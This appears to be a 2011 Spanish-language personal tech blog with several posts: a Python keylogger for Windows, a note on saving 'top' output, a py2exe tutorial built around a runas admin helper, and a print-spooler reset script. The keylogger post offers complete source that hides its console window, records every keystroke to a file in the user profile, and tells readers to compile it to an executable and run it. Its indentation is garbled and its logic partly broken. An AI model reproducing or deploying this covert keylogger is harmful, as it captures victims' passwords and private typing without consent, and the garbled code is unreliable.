lunes, 28 de noviembre de 2011

Keylogger -> Python

La curiosidad mató al gato. Ôò -> Menos mal que no soy un felino, sino seguro estoy muerto.
# Sin más preámbulos, manos a la obra. (Pobre gato)

Herramientas a utilizar:
  • py2exe -> Aquí un pequeño tutorial más información.
  • win32   -> De aquí descarguen el que le corresponda al interprete que tienen instalado.
  • python  -> Open your eyes .
Una vez instaladas las herramientas procedemos a escribir en un archivo de texto plano el siguiente código.

# Nombre del archivo: keylogger.py -> ¬ ¬' Algo obvio.

#!/usr/bin/env python
#-*- encoding:utf-8 -*-
# keylogger

import win32api, os
import win32console, win32gui
import sys

console = win32console.GetConsoleWindow()
win32gui.ShowWindow(console, 0)
try:
    filelog = open(os.environ['USERPROFILE']+"\\log.txt", "w")
    while True:
  for i in range(8, 256):
            key = win32api.GetAsyncKeyState(i)  
  if key == -32767:
  if i != 9 or i != 13 or i != 123:
filelog.write(chr(i))
                if i == 9:
                    filelog.write(" (press tab) ")
                if i == 13:
                    filelog.write("\n")
if i == 123:
                    # Al presionar F12 termina el programa.
filelog.write("-> Se cierra el archivo.")
filelog.close()
sys.exit(0)
except IOError:
  print "Error al intentar abrir el archivo."
# Fin del código.

Ahora sólo nos queda pasarlo a punto exe y ejecutarlo.
;)



viernes, 25 de noviembre de 2011

Festival de conocimientos. (Invitación)

Este post tiene dos objetivo:

  • Invitarlos a una jornada en donde se comparte el conocimiento con total libertad.
  • Mostrarles el trabajo en Gimp que hice. (Gimp es la alternativa libre de Photoshop)




Posdata: Pronto se escribirán algunos tips para esta herramienta.

martes, 15 de noviembre de 2011

Imprimir comando top

Hola,

Seguramente alguna vez quisimos utilizar datos que nos devuelve el comando "top"

El problema es que cuando se ejecuta top se actualiza cada segundo y no deja tomar una impresión de los datos para luego trabajar con ellos.

Una forma fácil de hacerlo es agregando los parámetros -n 1. Donde le decimos que solo haga 1 ciclo de top y a esos datos los vamos a enviar a un archivo de texto plano:

# top -n 1 >> /root/logs/top.log

Es simple, solo un comando, pero me sirvió para implementar en diferentes scripts en bash.

Espero que a alguien le sirva.

Saludos,

Emmanuel Arreguez
www.ircdshells.com.ar

py2exe -> Breve tutorial.

py2exe es un módulo para Python que nos permite crear a partir de un archivo.py un archivo.exe.
¿Cuál es la ventaja de utilizar esta herramienta? - La principal ventaja que veo en su utilización está en que nuestros programas sean portables, esto quiere decir que no necesitamos tener instalado el interprete de Python en cada máquina donde lancemos a correr nuestras aplicaciones.

¿Qué necesitamos entonces?
Lo principal es descargar py2exe_download desde el enlace. Descarguen la versión acorde al interprete de Python que tienen instalado y a la arquitectura de su computadora. (Claro, también deben tener instalado Python).



Bueno, ahora vamos a suponer que tenemos un programa escrito en Python.
Acá dejo un ejemplo. (Se trata de un proyecto que queremos llevar acabo con unos amigos. Su nombre es Recurrent Solution 4 Windows .
En el enlace pueden encontrar información acerca del proyecto. Aún no hay mucha documentación, pero vamos a tratar de colgar constantemente info.

# admin_on.py (Así se llamará el archivo que contendrá el código.)
# Inicio del código.


#!/usr/bin/env python
#-*- encoding:utf-8 -*-

# By: Debianitram -> Miranda Martín.
# @ : debianitram(en)gmail.com

import os, sys

### Constantes.
# Lista de dominios.
ldomain = ('mineria_cat', 'catastrom', os.environ['COMPUTERNAME'])

# Formato del diccionario.
# {'clave' = 'acotación del comando' : valor = lista('commando', 'descripción')}

command = { 'cmd' :
("runas %s /user:%s@%s cmd", "Abrir un consola"),
'on_off_printer' :
("runas %s /user:%s@%s \"python on_offSpool.py\"", u"Destrancar la cola de impresión"),
'exit' :
("sys.exit()", u"Terminar este programa: admin_on")
}

# Presentación.
os.system('cls')
print "Bienvenido %s" % os.environ['USERNAME']
print u"Ud. está conectado en el equipo %s" % ldomain[2]
print u"Acontinuación se le presentará una lista de posibles soluciones."

### Lista con las posibles soluciones.
# Se debe seleccionar una de todas las soluciones
print "#################################################################\n"
# Campos de la tabla.
print "%-15s |-| %10s" % ("COMANDO", "DESCRIPCION")
print "-" * 15 + "     " + "-" * 15
# Creamos la tabla -> comando, descripción.
for i in command.keys():
    print "%-15s ==> %10s" % (i, command[i][1])

print "\n"
result = raw_input("Seleccione una solucion de la lista: ")

# Escape del programa.
if result == "exit":
  sys.exit()

# Tipo de usuario a ejecutar el comando.
print u"\nEspecifíque con que usuario@dominio desea ejecutar la posible solución."
user = raw_input("Usuario: ")
domain = input("Dominios [0] -> %s, [1] -> %s, [2] -> %s: " % tuple([ld for ld in ldomain]))

# Ejecutando las ordenes.
os.system(command[result][0] % ("/profile", user, ldomain[domain]))

# Fin del código.


Ya contamos con el código al cual queremos pasar a .exe, osea vamos a pasar nuestro admin_on.py a admin_on.exe.

Ahora lo que necesitamos es crear un segundo archivo que haga el proceso de transformación. .py -> .exe
Con el siguiente código vamos a lograr este proceso:

# generate.py (Así se llamará el archivo encargado de la generación)
# Inicio del código.

from distutils.core import setup
import py2exe
setup(console=['admin_on.py'])

El argumento console de la función setup indica que el programa corre sobre una consola, en el caso de que se trate de una aplicación de ventanas, ejemplo (Tkinter, wxPython, Qt, ...), se debe reemplazar console por window. (Luego veremos un ejemplo).


Ahora sólo queda ubicarnos donde tenemos los archivos, -Por cierto, los archivos deben encontrarse en el mismo directorio-, y ejecutar el siguiente comando.
Ejemplo:
C:\Documents and Settings\debianitram\newProjects>python generate.py py2exe


Este proceso durará algunos segundos dependiendo de la magnitud del programa...
Su resultado son dos carpetas, una llamada dist y la otra build.
dist -> Contiene el programa los ejecutables.
build -> Contiene las "pilas" librerías que python a utilizado.

Ambas carpetas no se deben separar para el buen funcionamiento del programa.
De ese modo tendremos un programa portable con el lenguaje Python.

viernes, 11 de noviembre de 2011

Cola de impresión en Windows -> Python.

Acaba de pasar el día 11/11/11 con los 11:11:11 en horas. Al final no pasó nada, pero espero que sea un cambio de conciencia en el ser humano. "Cuando tenemos la soga al cuello, es muchas veces cuando intentamos de cambiar algo"
Bueno, la verdad que este post no trata sobre predicciones astrales ni tampoco sobre la metafísica.

Hace un tiempo que en donde trabajo tenemos un problema recurrente con las impresoras. Este problema se da en el estancamiento de la cola de impresión. 

Hice un script para automatizar una serie de pasos que tenemos que hacer cada vez que surge este problema.
Por el momento voy a poner el código de la solución, pero a futuro voy hacer un portable con py2exe para que no necesiten tener instalado python en cada puesto.


# Aquí el script: on_offSpool.py (Así lo llamé al archivo, pueden llamarlo como deseen.)
#!/usr/bin/env python
#-*- encoding:utf-8 -*-

# By: Debianitram -> Miranda Martín.
# @ : debianitram(@)gmail.com

import os

# Directorio spool
SPOOL = os.environ['SYSTEMROOT'] + "/System32/spool/"
# Directorio PRINTERS. 
SPOOLPRINTERS = SPOOL + "PRINTERS"

# Comandos a utilizar.
on_spool  = "net start spooler"
off_spool = "net stop spooler"

# Inicio del programa.
# Borramos la pantalla.
os.system('cls')
# Nombre del Usuario
print "##################################"
print "Usuario: " + os.environ['USERNAME']
# Nombre del PC.
print "Nombre del equipo: " + os.environ['COMPUTERNAME']
print "##################################\n"

# Comienzan los procesos.
print "Se inician los procesos ..." 
print u"* Cola de impresión -> Stop... "
os.system(off_spool)

# Se eliminan los ficheros en spool/PRINTERS .
if os.path.exists(SPOOLPRINTERS):
# Cambiamos de directorio.
os.chdir(SPOOLPRINTERS)
# listamos el directorio.
resultList = os.listdir(os.getcwd())
if len(resultList) > 0:
  # Eliminamos los archivos.
    for nameFile in resultList:
print "Eliminando el archivo: " + nameFile
        os.remove(nameFile)
  print "* Archivos eliminados ... "
print u"* Cola de impresión -> Start... "
os.system(on_spool)

# Fin del script.

Nota: Se debe ejecutar con usuario que tenga privilegios de "Administrador".
Espero que les sea de utilidad.
Un abrazo ...